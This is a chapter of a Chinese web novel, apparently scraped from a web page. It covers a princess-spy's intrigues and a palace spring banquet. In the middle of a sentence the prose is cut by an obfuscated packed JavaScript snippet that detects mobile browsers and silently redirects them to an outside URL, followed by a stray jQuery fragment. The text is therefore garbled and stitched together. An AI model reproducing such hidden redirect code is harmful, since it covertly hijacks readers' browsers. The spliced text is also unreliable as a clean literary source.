85.春日宴

作品:《敛骨吹

    翌日艳阳高照,封城久了,这长安城里达官贵人们也闷得久了,正三三两两结伴一同去城外游玩。


    一辆不太起眼的马车自临江街驶出,拐到长街上,自东门排着,等着出城。


    姜满看了看所在的位置,放下车帘,道:“我就送你们到这儿,出城以后,你们二人分开行动,自会有人带你们上各自的马车,估摸着二十日左右你们就能到湖州。”


    春禾点了点头,怯生生开口:“令栀姑娘,我方才想起来,我从湖州带来了一些阮娘的遗物,一直没寻到机会给屹寒哥哥,只能拜托你了,就在我住的房间柜子里。”


    姜满抿唇点了点头,“好。”


    陆岁宁靠着马车,明显一夜未眠,面容疲惫,看着姜满神情复杂。


    姜满转身就要下马车,手突然被抓住,陆岁宁好像往她手里放了个东西,姜满握紧,什么都没说。


    东门内人群乌央,姜满带着斗笠上了旁边一家茶楼的包厢。


    里面只有一个戴着青铜面具的黑衣男子。


    “公主。”


    姜满径直坐下,摊开手,发现手里是一张叠的四四方方的纸条。


    陇佑汇报道:“松雪先生现就在长安城内,但是落脚地不明,不过他每个月都会设法出城,就去城外的新据点。”


    “长安城封禁,除了有朝廷发的通关文帖以外,内外不许进出,松雪和姜国发展的线人是怎么出的城?”姜满微微抬着下巴,“陇佑,姜国的手已经伸到朝堂里了。”


    “......是。”陇佑有些僵硬地转了转脖子,目光落在姜满那张冷漠的脸上。


    “哥哥好本事。”姜满嘴角带着似笑非笑的弧度,“陇佑,你说北安皇帝是不是昏庸无能,姜国隐匿百年,竟然能神不知鬼不觉发展了这么多姜国线人,可笑他坐高堂,整日疑心身边忠臣,殊不知,危险早就渗透在长安各处了。”


    陇佑道:“他治下,有空子可钻。”


    “如果姜国占领了长安,”姜满美目轻转,问:“文武百官,天下黎明,万千百姓,会善终吗?”


    陇佑愣了一下,诚实道:“不会,国主不会留他们。”


    姜满知道姜琮不会留。


    上一世姜国占领了长安,杀了薄氏皇族所有的人,姜国士兵流窜在城内,见人就砍,个个都杀红了眼,有些男人看见姑娘家更是直接将人拖到屋内奸杀,当时有顾原之流,不顾性命,拼死抵抗,最后长安城尸首遍地。


    如今长街下,东门内,百姓们因为能出城而兴高采烈,有几个世家子弟骑着高马,叫嚷着要去城外哪个无人处跑马,势必要比出个高低来。


    姜满忽然想起来薄屹寒说过的一句话。


    “换个皇帝,推举新政,重农轻商,北安还会有救的。”


    救。


    他上辈子被害成那样,这辈子居然还想着救。


    姜满曾试图理解薄屹寒,想看明白他不惜牺牲自己,以命去搏,最后想要个什么结果。


    可是她没明白薄屹寒心中所想。


    “陇佑,”姜满眼帘半垂,指节摩挲着手里的纸条,“松雪下次出城,是什么时候?”


    “四月三十,月末。”


    姜满一只手缓缓的展开纸条,翻折几次,陆岁宁娟秀端正的字迹显露出来。


    【令栀,你的秘密我会守口如瓶。我信你是个明辨是非的通透人,今日恩情我会铭记在心。湖州虽远,你我会有再见的一天。】


    姜满看了两遍,忽然想起来陆岁宁上一世死前歇斯底里的怒斥自己不辨是非不明黑白,是个糊涂的可怜人,就觉得好笑。


    “这人,怎么还两副样子。”


    她喃喃道。


    和满腹心事的陆岁宁相比,春禾就轻松多了,她因为自己说错了话害怕了好几日,后来薄屹寒问了自己几个问题,最终也没说什么,只是吩咐照常送自己出去。


    她本意来长安投奔薄屹寒,是听说长安城里的大官都妻妾成群,她和薄屹寒几乎是一同长大,想着薄屹寒就算念旧情收她做个丫鬟也成。


    可来了这么久,她见到薄屹寒的次数都少,走去哪里都有人跟着,实在是难受得很,还不如在老家自在。


    好在她也不白来,薄屹寒到底还是心软,走的时候塞给她一张银票,叮嘱她回乡后谨言慎行,尤其对陌生的人要把这次长安之行守口如瓶。


    顺利出了长安,春禾和陆岁宁被分开,上了两个不同的马车。


    春禾坐在马车里看手里的银票,然后叠好,小心翼翼地放进胸口,刚想喝口茶,马车却骤然停住,桌上的东西因为惯性翻倒一片,茶水撒了满桌子。


    “怎么了?”


    春禾提着裙摆,躲过桌上滴滴答答的茶水,钻出马车。


    一条隐蔽的乡道上,马车孤零零的停在路中间,四周全是高耸茂密的林子,却异常的安静,本该在外面赶马车的马夫也不见了踪迹。


    春禾不知看见了什么,突然放声尖叫。


    “啊啊啊!!!”


    春日宴往年是皇后主办,邀约的是长安城中官眷妇人居多,这种场合大多都是给谁家及笄的姑娘、及冠的公子相看的,所以一般只有家里有适龄小辈,长辈们才会出席。


    但是今年不一样,今年皇后选了长安城内最大的园林,提前半个月就开始备席,给长安城里稍微说得上话的皆是送了帖子。


    说是南夏皇子与世子正巧在长安,诸位务必盛装出席,也好让南夏使者见识见识北安的繁华美景。


    自春禾二人走后,薄屹寒有心想问问李渊,可是对方有意避着自己,薄屹寒思来想去,最终应了皇后这春日宴的帖子。


    春日宴上,男女席位不分,是按照府邸地位高低坐的,薄屹寒到的晚,落座的时候夏景年已经跟几个文官喝了一轮了。


    现在薄砚尘也不避嫌,举着杯子坐到薄屹寒身边,道:“小皇叔,你的青梅竹马送出城了吗?”


    “......”薄屹寒借着拿酒杯,不动声色往上座扫了几眼,道:“瞧着皇后娘娘的意思,是要给你找个正妃,今日东方夫人也来了吧。”


    “......”薄砚尘眸光立刻黯淡,不想理他了。


    “现在内阁没有长史,右相一家独大,我估计皇后娘娘是想从自己娘家找个适龄的嫁给你,一来时时盯着你的动向,二来也能防止你继续结交其他大臣。”薄屹寒细


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17045601|188520||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    声分析着,“你若娶了张家的姑娘,皇后娘娘就和你拐着弯是亲戚,事事压你一头。”


    “小皇叔,大好春光,海棠花开的正艳,咱们说点高兴的不成吗?”薄砚尘气鼓鼓的看了他一眼,狠狠叹了口气 ,目光转向院子里的席面,今日来的人多,根本望不到头,也看不见宋为期的身影。


    两人说了没多久,外面院子传来人群叫嚷声,吸引了殿内众人的视线。


    赵熙默不作声从侧面殿口溜进来,快步走到薄屹寒身边,道:“国公爷,是朝盈公主和御史大人家的姑娘起了争执,公主把人推湖里去了。”


    薄屹寒点了点头,“哪个御史大人?”


    “左都御史彭华彭大人,被推下湖的是他的庶女,叫什么属下不太清楚。”


    薄屹寒眼睛一亮,用胳膊肘顶了顶薄砚尘,“左都御史彭华可是老臣了,在朝中学子甚多。”


    “这,姑娘家的事,我怎么好出手,”薄砚尘解了自己的腰牌,抬手递给别枝,“你去吧,见机行事。”


    “是。”


    薄屹寒懒懒地打了个哈欠,目光落在李婉月坐得位置上。


    旁边空无一人。


    “禁卫司今日有什么别的任务?皇后的席面都不来。”


    薄砚尘一听他这话就知道他说的是李渊,“没听说有别的行动,是不是看见你心虚啊。”


    “......”


    终于到了皇后引着众宾客赏园的时候,薄屹寒才见到李渊。


    他应当是从宫里出来,还穿着官袍,走上前和皇后说着什么。


    薄屹寒正想怎么找机会单独见他一面,就听见皇后不咸不淡道:“既然如此,辛苦李首领跑一趟姜嫄山了。”


    “都是臣应该做的。”


    腿突然被抱住,夏澄玩的小脸红扑扑的,朝着薄屹寒笑,“抱本世子摘花!”


    薄屹寒回过神,弯腰把他抱起来,托着他去摘海棠花。


    张皇后说完了话,转了过来,看着夏澄笑了,“镇国公去年也及冠了吧,都二十一了,府里连个主事的人都没有,不像话。”


    薄屹寒抱着夏澄完了弯腰,道:“多谢娘娘厚爱,只是臣自在惯了,不喜有人管束,所以不急。”


    “那总归得有几个妾室,”张皇后看着满院子赏花的官眷们,道:“今日人齐,许久没开这么大的宴来了,镇国公要是看上了谁,可别不好意思,尽管跟本宫说。”


    “是。”


    “对了,”皇后看了眼身边的海棠,笑道:“海棠这丫头前些日子出宫,听说镇国公现在跟青一阁的一个商女走的很近,今日可有带来?”


    薄屹寒这才注意到皇后身边的姑娘。


    她明明是下人,却穿戴金银,比宫女矜贵不少,长得倒是人如其名,像海棠花一般娇艳貌美,薄屹寒注意到她扶着皇后的那双手宽大略厚,一看就是个练家子。


    他笑了笑,道:“前些日子闹了矛盾,现下气还没消,不肯赏臣的脸。”


    “哈哈哈,”张皇后笑道:“没想到镇国公还有季常之癖,这倒是令本宫有些意外了。”


    两人说话间,李渊一直在张皇后身后低着头,面无表情。